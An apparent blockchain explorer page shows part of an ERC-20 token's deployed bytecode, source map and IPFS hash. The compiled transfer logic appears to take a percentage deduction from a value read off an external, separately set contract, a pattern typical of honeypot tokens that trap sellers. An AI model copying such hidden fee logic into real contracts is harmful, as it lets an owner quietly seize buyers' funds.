fffffffffffffffffff1603610c99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9090611970565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d7391906113ff565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db7575f80fd5b5f8111610dc2575f80fd5b5f3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e4c575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f1b575f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610eac91906114ab565b602060405180830381865afa158015610ec7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eeb919061198e565b9050610f136064610f0583866111b990919063ffffffff16565b6111f990919063ffffffff16565b915050610f33565b60065f815480929190610f2d906119e6565b91905055505b610f838260025f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110d290919063ffffffff16565b60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611026816110188460025f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461121e90919063ffffffff16565b6110d290919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110c491906113ff565b60405180910390a350505050565b5f828211156110df575f80fd5b5f82846110ec9190611a2d565b90508091505092915050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036111c9575f90506111f3565b5f82846111d69190611a60565b90508284826111e59190611ace565b146111ee575f80fd5b809150505b92915050565b5f808211611205575f80fd5b5f82846112129190611ace565b90508091505092915050565b5f80828461122c9190611afe565b90508381101561123a575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561127b578082015181840152602081019050611260565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112a082611244565b6112aa818561124e565b93506112ba81856020860161125e565b6112c381611286565b840191505092915050565b5f6020820190508181035f8301526112e68184611296565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61131b826112f2565b9050919050565b61132b81611311565b8114611335575f80fd5b50565b5f8135905061134681611322565b92915050565b5f819050919050565b61135e8161134c565b8114611368575f80fd5b50565b5f8135905061137981611355565b92915050565b5f8060408385031215611395576113946112ee565b5b5f6113a285828601611338565b92505060206113b38582860161136b565b9150509250929050565b5f8115159050919050565b6113d1816113bd565b82525050565b5f6020820190506113ea5f8301846113c8565b92915050565b6113f98161134c565b82525050565b5f6020820190506114125f8301846113f0565b92915050565b5f805f6060848603121561142f5761142e6112ee565b5b5f61143c86828701611338565b935050602061144d86828701611338565b925050604061145e8682870161136b565b9150509250925092565b5f60ff82169050919050565b61147d81611468565b82525050565b5f6020820190506114965f830184611474565b92915050565b6114a581611311565b82525050565b5f6020820190506114be5f83018461149c565b92915050565b5f602082840312156114d9576114d86112ee565b5b5f6114e684828501611338565b91505092915050565b5f8060408385031215611505576115046112ee565b5b5f61151285828601611338565b925050602061152385828601611338565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61156160208361124e565b915061156c8261152d565b602082019050919050565b5f6020820190508181035f83015261158e81611555565b9050919050565b7f54726164696e6720616c7265616479206f70656e6564000000000000000000005f82015250565b5f6115c960168361124e565b91506115d482611595565b602082019050919050565b5f6020820190508181035f8301526115f6816115bd565b9050919050565b5f8151905061160b81611322565b92915050565b5f60208284031215611626576116256112ee565b5b5f611633848285016115fd565b91505092915050565b5f60408201905061164f5f83018561149c565b61165c602083018461149c565b9392505050565b5f819050919050565b5f819050919050565b5f61168f61168a61168584611663565b61166c565b61134c565b9050919050565b61169f81611675565b82525050565b5f60c0820190506116b85f83018961149c565b6116c560208301886113f0565b6116d26040830187611696565b6116df6060830186611696565b6116ec608083018561149c565b6116f960a08301846113f0565b979650505050505050565b5f8151905061171281611355565b92915050565b5f805f6060848603121561172f5761172e6112ee565b5b5f61173c86828701611704565b935050602061174d86828701611704565b925050604061175e86828701611704565b9150509250925092565b5f60408201905061177b5f83018561149c565b61178860208301846113f0565b9392505050565b611798816113bd565b81146117a2575f80fd5b50565b5f815190506117b38161178f565b92915050565b5f602082840312156117ce576117cd6112ee565b5b5f6117db848285016117a5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61183e60268361124e565b9150611849826117e4565b604082019050919050565b5f6020820190508181035f83015261186b81611832565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118cc60248361124e565b91506118d782611872565b604082019050919050565b5f6020820190508181035f8301526118f9816118c0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61195a60228361124e565b915061196582611900565b604082019050919050565b5f6020820190508181035f8301526119878161194e565b9050919050565b5f602082840312156119a3576119a26112ee565b5b5f6119b084828501611704565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119f08261134c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a2257611a216119b9565b5b600182019050919050565b5f611a378261134c565b9150611a428361134c565b9250828203905081811115611a5a57611a596119b9565b5b92915050565b5f611a6a8261134c565b9150611a758361134c565b9250828202611a838161134c565b91508282048414831517611a9a57611a996119b9565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ad88261134c565b9150611ae38361134c565b925082611af357611af2611aa1565b5b828204905092915050565b5f611b088261134c565b9150611b138361134c565b9250828201905080821115611b2b57611b2a6119b9565b5b9291505056fea2646970667358221220f5ea62397fc63aaafb345ab5ab60a8a685a1e9f9db33c67c44481ffceac1148b64736f6c63430008180033

Deployed Bytecode Sourcemap

3100:3727:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5251:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5093:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4994:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5464:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4208:545;;;:::i;:::-;;4761:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3401:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5346:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1830:103;;;;;;;;;;;;;:::i;:::-;;2067:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4113;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6325:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4852:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2162:201;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5251:83;5288:13;5321:5;;;;;;;;;;;;;;;;;5314:12;;5251:83;:::o;5093:150::-;5159:4;5176:37;5185:10;5197:7;5206:6;5176:8;:37::i;:::-;5231:4;5224:11;;5093:150;;;;:::o;4994:91::-;5038:7;5065:12;;5058:19;;4994:91;:::o;5464:256::-;5553:4;5570:36;5580:6;5588:9;5599:6;5570:9;:36::i;:::-;5617:73;5626:6;5634:10;5646:43;5682:6;5646:11;:19;5658:6;5646:19;;;;;;;;;;;;;;;:31;5666:10;5646:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5617:8;:73::i;:::-;5708:4;5701:11;;5464:256;;;;;:::o;4208:545::-;1992:10;1981:21;;:7;:5;:7::i;:::-;:21;;;1973:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4281:14:::1;;;;;;;;;;;4280:15;4272:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;4324:63;4341:4;4356:15;;;;;;;;;;;4374:12;;4324:8;:63::i;:::-;4432:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4414:55;;;4478:4;4485:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4414:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4398:13;;:110;;;;;;;;;;;;;;;;;;4519:15;;;;;;;;;;;:31;;;4558:9;4577:4;4583:24;4601:4;4583:9;:24::i;:::-;4609:1;4612::::0;4615:7:::1;:5;:7::i;:::-;4624:15;4519:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;4658:13;;;;;;;;;;;4651:29;;;4689:15;;;;;;;;;;;4707:14;4651:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;4741:4;4724:14;;:21;;;;;;;;;;;;;;;;;;4208:545::o:0;4761:83::-;4802:5;4827:9;;;;;;;;;;;4820:16;;4761:83;:::o;3401:28::-;;;;;;;;;;;;;:::o;5346:110::-;5403:7;5430:9;:18;5440:7;5430:18;;;;;;;;;;;;;;;;5423:25;;5346:110;;;:::o;1830:103::-;1992:10;1981:21;;:7;:5;:7::i;:::-;:21;;;1973:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1895:30:::1;1922:1;1895:18;:30::i;:::-;1830:103::o:0;2067:87::-;2113:7;2140:6;;;;;;;;;;;2133:13;;2067:87;:::o;4113:::-;4152:13;4185:7;;;;;;;;;;;;;;;;;4178:14;;4113:87;:::o;6325:156::-;6394:4;6411:40;6421:10;6433:9;6444:6;6411:9;:40::i;:::-;6469:4;6462:11;;6325:156;;;;:::o;4852:134::-;4924:7;4951:11;:18;4963:5;4951:18;;;;;;;;;;;;;;;:27;4970:7;4951:27;;;;;;;;;;;;;;;;4944:34;;4852:134;;;;:::o;2162:201::-;1992:10;1981:21;;:7;:5;:7::i;:::-;:21;;;1973:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2271:1:::1;2251:22;;:8;:22;;::::0;2243:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2327:28;2346:8;2327:18;:28::i;:::-;2162:201:::0;:::o;6489:335::-;6599:1;6582:19;;:5;:19;;;6574:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6680:1;6661:21;;:7;:21;;;6653:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6762:6;6732:11;:18;6744:5;6732:18;;;;;;;;;;;;;;;:27;6751:7;6732:27;;;;;;;;;;;;;;;:36;;;;6800:7;6784:32;;6793:5;6784:32;;;6809:6;6784:32;;;;;;:::i;:::-;;;;;;;;6489:335;;;:::o;5728:589::-;5832:1;5816:18;;:4;:18;;;5808:27;;;;;;5864:1;5855:6;:10;5847:19;;;;;;5877:12;5924:4;5908:21;;:4;:21;;;;:46;;;;;5941:13;;;;;;;;;;;5933:21;;:4;:21;;;;5908:46;5904:246;;;5972:20;6002:18;;;;;;;;;;;5995:36;;;6032:4;5995:42;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5972:65;;6059:33;6088:3;6059:24;6070:12;6059:6;:10;;:24;;;;:::i;:::-;:28;;:33;;;;:::i;:::-;6052:40;;5956:148;5904:246;;;6125:11;;:13;;;;;;;;;:::i;:::-;;;;;;5904:246;6178:27;6198:6;6178:9;:15;6188:4;6178:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6160:9;:15;6170:4;6160:15;;;;;;;;;;;;;;;:45;;;;6232:35;6262:4;6232:25;6250:6;6232:9;:13;6242:2;6232:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;6216:9;:13;6226:2;6216:13;;;;;;;;;;;;;;;:51;;;;6298:2;6283:26;;6292:4;6283:26;;;6302:6;6283:26;;;;;;:::i;:::-;;;;;;;;5797:520;5728:589;;;:::o;1137:148::-;1195:7;1228:1;1223;:6;;1215:15;;;;;;1241:9;1257:1;1253;:5;;;;:::i;:::-;1241:17;;1276:1;1269:8;;;1137:148;;;;:::o;2371:191::-;2445:16;2464:6;;;;;;;;;;;2445:25;;2490:8;2481:6;;:17;;;;;;;;;;;;;;;;;;2545:8;2514:40;;2535:8;2514:40;;;;;;;;;;;;2434:128;2371:191;:::o;1293:185::-;1351:7;1380:1;1375;:6;1371:23;;1391:1;1384:8;;;;1371:23;1404:9;1420:1;1416;:5;;;;:::i;:::-;1404:17;;1449:1;1444;1440;:5;;;;:::i;:::-;:10;1432:19;;;;;;1469:1;1462:8;;;1293:185;;;;;:::o;984:147::-;1042:7;1074:1;1070;:5;1062:14;;;;;;1087:9;1103:1;1099;:5;;;;:::i;:::-;1087:17;;1122:1;1115:8;;;984:147;;;;:::o;830:148::-;888:7;908:9;924:1;920;:5;;;;:::i;:::-;908:17;;949:1;944;:6;;936:15;;;;;;969:1;962:8;;;830:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:118::-;4940:24;4958:5;4940:24;:::i;:::-;4935:3;4928:37;4853:118;;:::o;4977:222::-;5070:4;5108:2;5097:9;5093:18;5085:26;;5121:71;5189:1;5178:9;5174:17;5165:6;5121:71;:::i;:::-;4977:222;;;;:::o;5205:329::-;5264:6;5313:2;5301:9;5292:7;5288:23;5284:32;5281:119;;;5319:79;;:::i;:::-;5281:119;5439:1;5464:53;5509:7;5500:6;5489:9;5485:22;5464:53;:::i;:::-;5454:63;;5410:117;5205:329;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:172::-;7145:24;7141:1;7133:6;7129:14;7122:48;7005:172;:::o;7183:366::-;7325:3;7346:67;7410:2;7405:3;7346:67;:::i;:::-;7339:74;;7422:93;7511:3;7422:93;:::i;:::-;7540:2;7535:3;7531:12;7524:19;;7183:366;;;:::o;7555:419::-;7721:4;7759:2;7748:9;7744:18;7736:26;;7808:9;7802:4;7798:20;7794:1;7783:9;7779:17;7772:47;7836:131;7962:4;7836:131;:::i;:::-;7828:139;;7555:419;;;:::o;7980:143::-;8037:5;8068:6;8062:13;8053:22;;8084:33;8111:5;8084:33;:::i;:::-;7980:143;;;;:::o;8129:351::-;8199:6;8248:2;8236:9;8227:7;8223:23;8219:32;8216:119;;;8254:79;;:::i;:::-;8216:119;8374:1;8399:64;8455:7;8446:6;8435:9;8431:22;8399:64;:::i;:::-;8389:74;;8345:128;8129:351;;;;:::o;8486:332::-;8607:4;8645:2;8634:9;8630:18;8622:26;;8658:71;8726:1;8715:9;8711:17;8702:6;8658:71;:::i;:::-;8739:72;8807:2;8796:9;8792:18;8783:6;8739:72;:::i;:::-;8486:332;;;;;:::o;8824:85::-;8869:7;8898:5;8887:16;;8824:85;;;:::o;8915:60::-;8943:3;8964:5;8957:12;;8915:60;;;:::o;8981:158::-;9039:9;9072:61;9090:42;9099:32;9125:5;9099:32;:::i;:::-;9090:42;:::i;:::-;9072:61;:::i;:::-;9059:74;;8981:158;;;:::o;9145:147::-;9240:45;9279:5;9240:45;:::i;:::-;9235:3;9228:58;9145:147;;:::o;9298:807::-;9547:4;9585:3;9574:9;9570:19;9562:27;;9599:71;9667:1;9656:9;9652:17;9643:6;9599:71;:::i;:::-;9680:72;9748:2;9737:9;9733:18;9724:6;9680:72;:::i;:::-;9762:80;9838:2;9827:9;9823:18;9814:6;9762:80;:::i;:::-;9852;9928:2;9917:9;9913:18;9904:6;9852:80;:::i;:::-;9942:73;10010:3;9999:9;9995:19;9986:6;9942:73;:::i;:::-;10025;10093:3;10082:9;10078:19;10069:6;10025:73;:::i;:::-;9298:807;;;;;;;;;:::o;10111:143::-;10168:5;10199:6;10193:13;10184:22;;10215:33;10242:5;10215:33;:::i;:::-;10111:143;;;;:::o;10260:663::-;10348:6;10356;10364;10413:2;10401:9;10392:7;10388:23;10384:32;10381:119;;;10419:79;;:::i;:::-;10381:119;10539:1;10564:64;10620:7;10611:6;10600:9;10596:22;10564:64;:::i;:::-;10554:74;;10510:128;10677:2;10703:64;10759:7;10750:6;10739:9;10735:22;10703:64;:::i;:::-;10693:74;;10648:129;10816:2;10842:64;10898:7;10889:6;10878:9;10874:22;10842:64;:::i;:::-;10832:74;;10787:129;10260:663;;;;;:::o;10929:332::-;11050:4;11088:2;11077:9;11073:18;11065:26;;11101:71;11169:1;11158:9;11154:17;11145:6;11101:71;:::i;:::-;11182:72;11250:2;11239:9;11235:18;11226:6;11182:72;:::i;:::-;10929:332;;;;;:::o;11267:116::-;11337:21;11352:5;11337:21;:::i;:::-;11330:5;11327:32;11317:60;;11373:1;11370;11363:12;11317:60;11267:116;:::o;11389:137::-;11443:5;11474:6;11468:13;11459:22;;11490:30;11514:5;11490:30;:::i;:::-;11389:137;;;;:::o;11532:345::-;11599:6;11648:2;11636:9;11627:7;11623:23;11619:32;11616:119;;;11654:79;;:::i;:::-;11616:119;11774:1;11799:61;11852:7;11843:6;11832:9;11828:22;11799:61;:::i;:::-;11789:71;;11745:125;11532:345;;;;:::o;11883:225::-;12023:34;12019:1;12011:6;12007:14;12000:58;12092:8;12087:2;12079:6;12075:15;12068:33;11883:225;:::o;12114:366::-;12256:3;12277:67;12341:2;12336:3;12277:67;:::i;:::-;12270:74;;12353:93;12442:3;12353:93;:::i;:::-;12471:2;12466:3;12462:12;12455:19;;12114:366;;;:::o;12486:419::-;12652:4;12690:2;12679:9;12675:18;12667:26;;12739:9;12733:4;12729:20;12725:1;12714:9;12710:17;12703:47;12767:131;12893:4;12767:131;:::i;:::-;12759:139;;12486:419;;;:::o;12911:223::-;13051:34;13047:1;13039:6;13035:14;13028:58;13120:6;13115:2;13107:6;13103:15;13096:31;12911:223;:::o;13140:366::-;13282:3;13303:67;13367:2;13362:3;13303:67;:::i;:::-;13296:74;;13379:93;13468:3;13379:93;:::i;:::-;13497:2;13492:3;13488:12;13481:19;;13140:366;;;:::o;13512:419::-;13678:4;13716:2;13705:9;13701:18;13693:26;;13765:9;13759:4;13755:20;13751:1;13740:9;13736:17;13729:47;13793:131;13919:4;13793:131;:::i;:::-;13785:139;;13512:419;;;:::o;13937:221::-;14077:34;14073:1;14065:6;14061:14;14054:58;14146:4;14141:2;14133:6;14129:15;14122:29;13937:221;:::o;14164:366::-;14306:3;14327:67;14391:2;14386:3;14327:67;:::i;:::-;14320:74;;14403:93;14492:3;14403:93;:::i;:::-;14521:2;14516:3;14512:12;14505:19;;14164:366;;;:::o;14536:419::-;14702:4;14740:2;14729:9;14725:18;14717:26;;14789:9;14783:4;14779:20;14775:1;14764:9;14760:17;14753:47;14817:131;14943:4;14817:131;:::i;:::-;14809:139;;14536:419;;;:::o;14961:351::-;15031:6;15080:2;15068:9;15059:7;15055:23;15051:32;15048:119;;;15086:79;;:::i;:::-;15048:119;15206:1;15231:64;15287:7;15278:6;15267:9;15263:22;15231:64;:::i;:::-;15221:74;;15177:128;14961:351;;;;:::o;15318:180::-;15366:77;15363:1;15356:88;15463:4;15460:1;15453:15;15487:4;15484:1;15477:15;15504:233;15543:3;15566:24;15584:5;15566:24;:::i;:::-;15557:33;;15612:66;15605:5;15602:77;15599:103;;15682:18;;:::i;:::-;15599:103;15729:1;15722:5;15718:13;15711:20;;15504:233;;;:::o;15743:194::-;15783:4;15803:20;15821:1;15803:20;:::i;:::-;15798:25;;15837:20;15855:1;15837:20;:::i;:::-;15832:25;;15881:1;15878;15874:9;15866:17;;15905:1;15899:4;15896:11;15893:37;;;15910:18;;:::i;:::-;15893:37;15743:194;;;;:::o;15943:410::-;15983:7;16006:20;16024:1;16006:20;:::i;:::-;16001:25;;16040:20;16058:1;16040:20;:::i;:::-;16035:25;;16095:1;16092;16088:9;16117:30;16135:11;16117:30;:::i;:::-;16106:41;;16296:1;16287:7;16283:15;16280:1;16277:22;16257:1;16250:9;16230:83;16207:139;;16326:18;;:::i;:::-;16207:139;15991:362;15943:410;;;;:::o;16359:180::-;16407:77;16404:1;16397:88;16504:4;16501:1;16494:15;16528:4;16525:1;16518:15;16545:185;16585:1;16602:20;16620:1;16602:20;:::i;:::-;16597:25;;16636:20;16654:1;16636:20;:::i;:::-;16631:25;;16675:1;16665:35;;16680:18;;:::i;:::-;16665:35;16722:1;16719;16715:9;16710:14;;16545:185;;;;:::o;16736:191::-;16776:3;16795:20;16813:1;16795:20;:::i;:::-;16790:25;;16829:20;16847:1;16829:20;:::i;:::-;16824:25;;16872:1;16869;16865:9;16858:16;;16893:3;16890:1;16887:10;16884:36;;;16900:18;;:::i;:::-;16884:36;16736:191;;;;:::o

Swarm Source

ipfs://f5ea62397fc63aaafb345ab5ab60a8a685a1e9f9db33c67c44481ffceac1148b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.